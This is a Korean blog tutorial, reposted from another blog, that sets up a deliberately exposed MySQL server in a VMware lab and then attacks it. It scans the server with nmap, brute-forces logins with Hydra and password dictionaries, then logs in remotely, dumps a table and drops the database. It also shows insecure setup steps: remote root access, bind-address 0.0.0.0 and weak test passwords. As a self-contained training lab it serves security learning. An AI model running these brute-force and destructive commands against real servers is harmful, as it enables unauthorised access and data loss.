프로그램개발/DB(MySQL,MariaDB,MongoDB)

칼리 리눅스(Kali Linex): Hydra - mysql brute force attack

크레도스 2019. 5. 7. 15:08

출처 : https://m.blog.naver.com/PostView.nhn?blogId=choda100&logNo=220845411073&proxyReferer=https%3A%2F%2Fwww.google.co.kr%2F


칼리 리눅스(Kali Linex): Hydra - mysql brute force attack

MySql : http://dev.mysql.com/


MySQL 설치 & 설정

0. VMware - 브리지 모드 -> 칼리 또는 민트 리눅스 실행

1. ip확인

ifconfig

2.  mysql이 설치되어 있는지 패키지 확인

dpkg -l | grep mysql
칼리리눅스는 MySQL이 설치되어 있으므로 : service mysql start 하고 5번으로, 처음에는 비밀번호 없음 -> 엔터

3.  패키지 목록 갱신

sudo apt-get update

4. mysql 서버와 클라이언트 설치

sudo apt-get install mysql-server mysql-client

5. mysql 접속

mysql -u root -p

 6. root의 비밀번호 변경 외부에서 접속할 수 있도록 host 변경

show databases; : 데이터베이스 목록 보기 use mysql; : mysql 데이터베이스 사용 show tables; : mysql 데이터베이스의 테이블 목록 보기 select host, user, authentication_string from user; : user 테이블에서 해당 필드의 내용 보기 update user set authentication_string=password('test1234') where user='root'; : 비밀번호(test1234) 변경 update user set host='%' where user='root'; : 외부에서 접속할 수 있도록 host변경 flush privileges; : 변경사항 적용 select host, user, authentication_string from user; : user 테이블 데이터 조회 <MySQL 5.7 이전버전> select host, user, password from user; update user set password=password('test1234') where user='root';
'아이디'@'%' : 모든 접속 허용 '아이디'@'localhost' : localhost에서 접속을 하였을 경우만 허용 (127.0.0.1) '아이디'@'192.168.0.10' : 192.168.0.10 에서만 접속 허용

7. 데이터베이스 만들기 (loveyou_db)

create database loveyou_db; : loveyou_db 데이터베이스 생성 show databases; : 데이터베이스 목록 보기 use loveyou_db; : loveyou_db 사용
drop database loveyou_db; : 데이터베이스 삭제

8. 테이블 만들기 : num_id, title, content 필드를 가진 loveyou_tb 생성

create table loveyou_tb( num_id int not null primary key auto_increment, title varchar(30) not null, content text not null ); desc loveyou_tb; : loveyou_tb 테이블의 구조(속성) 보기
drop table loveyou_tb; : 테이블 삭제

9. 데이터 입력

insert into loveyou_tb(title, content) values('hello', 'hi~'); : 데이터 hello, hi~ 입력 select * from loveyou_tb; : loveyou_tb의 모든 필드 데이터 조회

10. 사용자 loveyou를 만들고 데이터베이스의 모든 권한(*.*) 주기, 비밀번호 : love486

grant all privileges on *.* to 'loveyou'@'%' identified by 'love486'; : 모든데이터베이스(*).모든테이블(*) use mysql; : mysql 데이터베이스 사용 select host, user, authentication_string from user; : user 테이블 데이터 조회
drop user loveyou; : 사용자 삭제
모든 권한을 준 이유 : hydra가 데이터 베이스의 모든 권한을 가진 아이디만 비밀번호를 찾아냄

11. mysql 외부 허용 설정

netstat -an | grep 3306 : mysql 포트확인(3306)
a : 모든 연결 및 수신 대기 포트 표시 n : 주소와 포트 번호를 숫자로 표시
sudo xed /etc/mysql/my.cnf : 외부에서 접속할 수 있도록 my.cnf 수정 (gedit, leafpad)
[mysqld] bind-address = 0.0.0.0 : 외부(모든 곳)에서 접속할 수 있도록 추가 또는 수정
sudo service mysql restart : mysql 서비스 재시작



MySQL 무차별 대입 공격

0. VMware - 브리지 모드 -> 칼리 리눅스 실행

1. ip 확인

ifconfig

2. 192.168.0.31의 mysql 포트(3306)가 열려있는지 스캔

nmap -sV 192.168.0.31
sV : 열려 있는 포트의 서비스와 버전정보 표시

3. root 와 loveyou 무차별 대입 공격

hydra -l root -P /root/Desktop/pw.txt -v -V -f 192.168.0.31 mysql : root 무차별 대입 공격
l : 아이디, L: 아이디 리스트 파일 p : 비빌번호, P: 비밀번호 사전파일 s : 포트 v : 자세히 V : login+pass 보여줌 f : 비밀번호를 발견하면 종료 t : 동시에 실행하는 작업수 (기본값 16)
# 아이디, 비밀번호 사전파일로 무차별 대입 공격 hydra -L /root/Desktop/id.txt -P /root/Desktop/pw.txt -v -V -f 192.168.0.31 mysql

4. 외부에서 mysql 접속 & 조회, 삭제

mysql -u loveyou -p -h 192.168.0.31 : mysql 접속 show databases; : 데이터베이스 목록 보기 use loveyou_db; : loveyou_db 사용 show tables; : 테이블 목록 보기 select * from loveyou_tb; : loveyou_tb 테이블 모든 필드 데이터 조회 drop database loveyou_db; : loveyou_db 삭제 drop user loveyou; : loveyou 삭제


# 새 사용자 loveyou 만들기 create user 'loveyou'@'%' identified by 'love486'; : 아이디:loveyou, 비밀번호:love486 # loveyou에게 모든데이터베이스(*)모든테이블(*) 권한주기 (데이터베이스명.테이블명) grant all privileges on *.* to 'loveyou'@'%'; (with grant option/with admin option) # loveyou에게 loveyou_db 데이터베이스의 모든 테이블에 대한 권한주기 grant all privileges on loveyou_db.* to 'loveyou'@'%'; # loveyou에게 권한 빼앗기 revoke all on *.* from 'loveyou'@'%'; # mysql 상태 보기 status; # 오류 : ERROR 1396 (HY000): Operation CREATE USER failed delete from user where user='loveyou'; 이렇게 사용자를 삭제 하고 다시 같은 아이디로 사용자를 만들면 생기는 오류 drop user loveyou; 로 삭제하고 다시 생성 # 오류 : ERROR 1366 (HY000): Incorrect string value 한글이 insert 안되는 오류 set character set euckr; alter database [테이터베이스 이름] charset utf8 collate utf8_general_ci; alter table [테이블이름] charset utf8 collate utf8_general_ci; 그래도 안되면 아래의 한글설정 my.cnf 파일을 확인&수정하고 drop table [테이블명]; -> 테이블 다시 생성